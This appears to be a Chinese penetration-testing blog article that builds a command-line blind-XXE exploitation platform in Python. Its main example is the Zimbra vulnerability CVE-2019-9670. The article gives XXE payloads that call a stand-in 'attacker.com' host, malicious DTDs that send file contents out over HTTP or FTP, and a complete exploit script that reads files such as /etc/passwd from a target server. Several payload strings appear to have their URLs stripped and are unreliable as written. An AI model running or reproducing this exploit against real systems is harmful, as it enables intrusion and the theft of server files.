0x00 前言
当应用程序存在XXE注入漏洞但不返回其响应中任何定义的外部实体的值时,就会出现blind XXE漏洞,这意味着无法直接读取服务器文件,利用起来也比常规XXE漏洞更加复杂。
在内网渗透中,最理想的情况是在跳板的命令行下完成整个漏洞的利用,于是我打算用Python实现一个完整的blind XXE利用平台,支持在命令行下运行。
0x01 简介
本文将要介绍以下内容:
◼blind XXE基本知识
◼设计思路
◼开源代码
0x02 blind XXE基本知识
参考链接:
https://portswigger.net/web-security/xxe
https://portswigger.net/web-security/xxe/blind
0x03 设计思路
1.漏洞验证
XXE利用代码如下:
< !DOCTYPE foo [ < !ENTITY xxe SYSTEM "http://attacker.com"> ]>
这里定义了一个外部实体,如果存在漏洞,服务器会向指定的Web服务器发送http请求。
Web服务器的搭建可以使用Python的SimpleHTTPRequestHandler,细节可参考之前的文章《渗透工具开发——XSS平台的命令行实现》
2.漏洞利用
XXE利用代码如下:
< !DOCTYPE foo [< !ENTITY % xxe SYSTEM " > %xxe;] >
malicious.dtd为具体的利用代码,这里有以下两种传输数据的方法。
(1)通过HTTP协议传输数据
malicious.dtd代码示例:
< !ENTITY % file SYSTEM " >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM ' >" > %eval; %exfiltrate;
参数实体file用来保存文件内容。
参数实体eval用来将文件内容发送至HTTP服务器,通过GET方式,参数x的内容为读取的文件内容。
%为%的HTML实体编码。
在程序实现上,可以对GET请求做一个判断,如果满足条件,将参数x的内容提取。
(2)通过FTP协议传输数据
malicious.dtd代码示例:
< !ENTITY % file SYSTEM " >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM ' >" > %eval; %exfiltrate;
参数实体file用来保存文件内容。
参数实体eval用来将文件内容发送至FTP服务器,发送的FTP数据中,除了包括读取的文件内容,还有其他的登录数据。
在程序实现上,可以通过socket搭建一个简单的FTP服务器,将通信内容进行筛选,获得文件内容。
FTP服务器的搭建参考了xxer,优点是使用socket模拟搭建FTP服务器,方便快捷。
但是在程序实现上,需要做一些修改,需要注意的内容如下:
1、str和byte的转换
2、数据去重,需要将PORT命令的返回状态码设置为500,如果使用200,客户端会再次发送带有RETR的结果,导致最后的数据重复
3、从FTP数据中提取文件内容,只提取带有CWD和RETR前缀的内容,去除多余的回车换行可以使用代码print(data, end='')
0x04 开源代码
这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台
完整代码如下:
#Python3 import sys import urllib3 import requests import threading import socket from threading import Thread from http.server import HTTPServer, SimpleHTTPRequestHandler urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) filetoread = "" xxeplatform_url = "" xxeplatform_http_port = "" xxeplatform_ftp_port = "" class XXERequestHandler(SimpleHTTPRequestHandler): def log_message(self, format, *args): return def do_GET(self): if self.path.endswith("file.dtd"): print("[+] Delivering DTD file to " + self.client_address[0]) if xxeplatform_ftp_port == "false": xml = """< !ENTITY % file SYSTEM " >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM ' >" > %eval; %exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port) else: xml = """< !ENTITY % file SYSTEM " >< !ENTITY % eval "< !ENTITY % exfiltrate SYSTEM ' >" > %eval; %exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port) self.send_response(200) self.send_header("Content-Length", len(xml)) self.end_headers() self.wfile.write(str.encode(xml)) if "?requestfiledata=" in self.path: print("[+] Read file content successfully. The contents are as follows:") print(self.path[18:]) def do_POST(self): print(self.path) post_data = self.rfile.read(length).decode() print(post_data) self.send_response(200) self.send_header("Content-type", "text/plain") self.end_headers() self.wfile.write() #Reference:https://github.com/TheTwitchy/xxer/ class FTPserverThread(threading.Thread): def __init__(self, conn_addr): conn, addr = conn_addr self.conn = conn self.addr = addr threading.Thread.__init__(self) def run(self): self.conn.send(b'220 Welcome!\r\n') print("[+] Read file content successfully. The contents are as follows:") while True: data = self.conn.recv(1024) if not data: break else: if "RETR" in bytes.decode(data): print(bytes.decode(data)[5:], end='') elif "CWD" in bytes.decode(data): print(bytes.decode(data)[4:], end='') #print("FTP: recvd '%s'" % bytes.decode(data)) if "LIST" in bytes.decode(data): self.conn.send(b"drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n") self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n") self.conn.send(b"226 Transfer complete.\r\n") elif "USER" in bytes.decode(data): self.conn.send(b"331 password please\r\n") elif "PORT" in bytes.decode(data): self.conn.send(b"500 PORT command error\r\n") elif "RETR" in bytes.decode(data): self.conn.send(b"500 Sorry.\r\n\r\n") else: self.conn.send(b"230 more data please\r\n") class FTPserver(threading.Thread): def __init__(self, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind(("0.0.0.0", port)) threading.Thread.__init__(self) def run(self): self.sock.listen(5) while True: th = FTPserverThread(self.sock.accept()) th.daemon = True th.start() def stop(self): self.sock.close() def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url): xxe_data = r"""< !DOCTYPE Autodiscover [ < !ENTITY % dtd SYSTEM " > %dtd; ]>< Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"> < Request> < EMailAddress>aaaaa< /EMailAddress > < AcceptableResponseSchema>&fileContents;< /AcceptableResponseSchema > < /Request>< /Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port) headers = { "Content-Type":"application/xml" } r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30) if __name__ == '__main__': if len(sys.argv)!=5: print("blind_XXEPlatform_CVE-2019-9670.py") print("It supports receiving results through HTTP or FTP protocol.") print("Usage:") print("%s < xxeplatform_url> < xxeplatform_http_port> < xxeplatform_ftp_port> < target_url>"%(sys.argv[0])) print("Note:") print("If you set the value of < xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP") print("Eg.") print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0])) print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0])) sys.exit(0) else: xxeplatform_url = sys.argv[1] xxeplatform_http_port = sys.argv[2] xxeplatform_ftp_port = sys.argv[3] target_url = sys.argv[4] print("[*] HTTP Server listening on %s"%(xxeplatform_http_port)) httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler) handlerthr = Thread(target=httpd.serve_forever, args=()) handlerthr.daemon = True handlerthr.start() if xxeplatform_ftp_port == "false": print("[*] Receive results over HTTP protocol") else: print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port)) t_ftpd = FTPserver(int(xxeplatform_ftp_port)) t_ftpd.daemon = True t_ftpd.start() print("[*] Receive results over FTP protocol") try: while 1: filetoread = input("Input the file path to read(Eg. /etc/passwd):") send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url) except KeyboardInterrupt: pass
代码支持命令行下使用,传输数据支持HTTP和FTP。
HTTP数据传输模式示例:
blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 false 192.168.1.2
参数说明:
◼本机IP为192.168.1.1
◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd
◼HTTP数据传输地址为http://192.168.1.1:80/?requestfiledata=xxxx
◼目标服务器地址为https://192.168.1.2
FTP数据传输模式示例:
blind_XXEPlatform_CVE-2019-9670.py 192.168.1.1 80 21 192.168.1.2
◼本机IP为192.168.1.1
◼XXE服务器dtd文件地址为http://192.168.1.1:80/file.dtd
◼FTP数据传输地址为ftp://192.168.1.1:21
◼目标服务器地址为https://192.168.1.2
0x05 小结
本文介绍了blind XXE利用平台的实现,针对其他漏洞的利用,只需要修改函数send_XXEPayload的内容
如若转载,请注明原文地址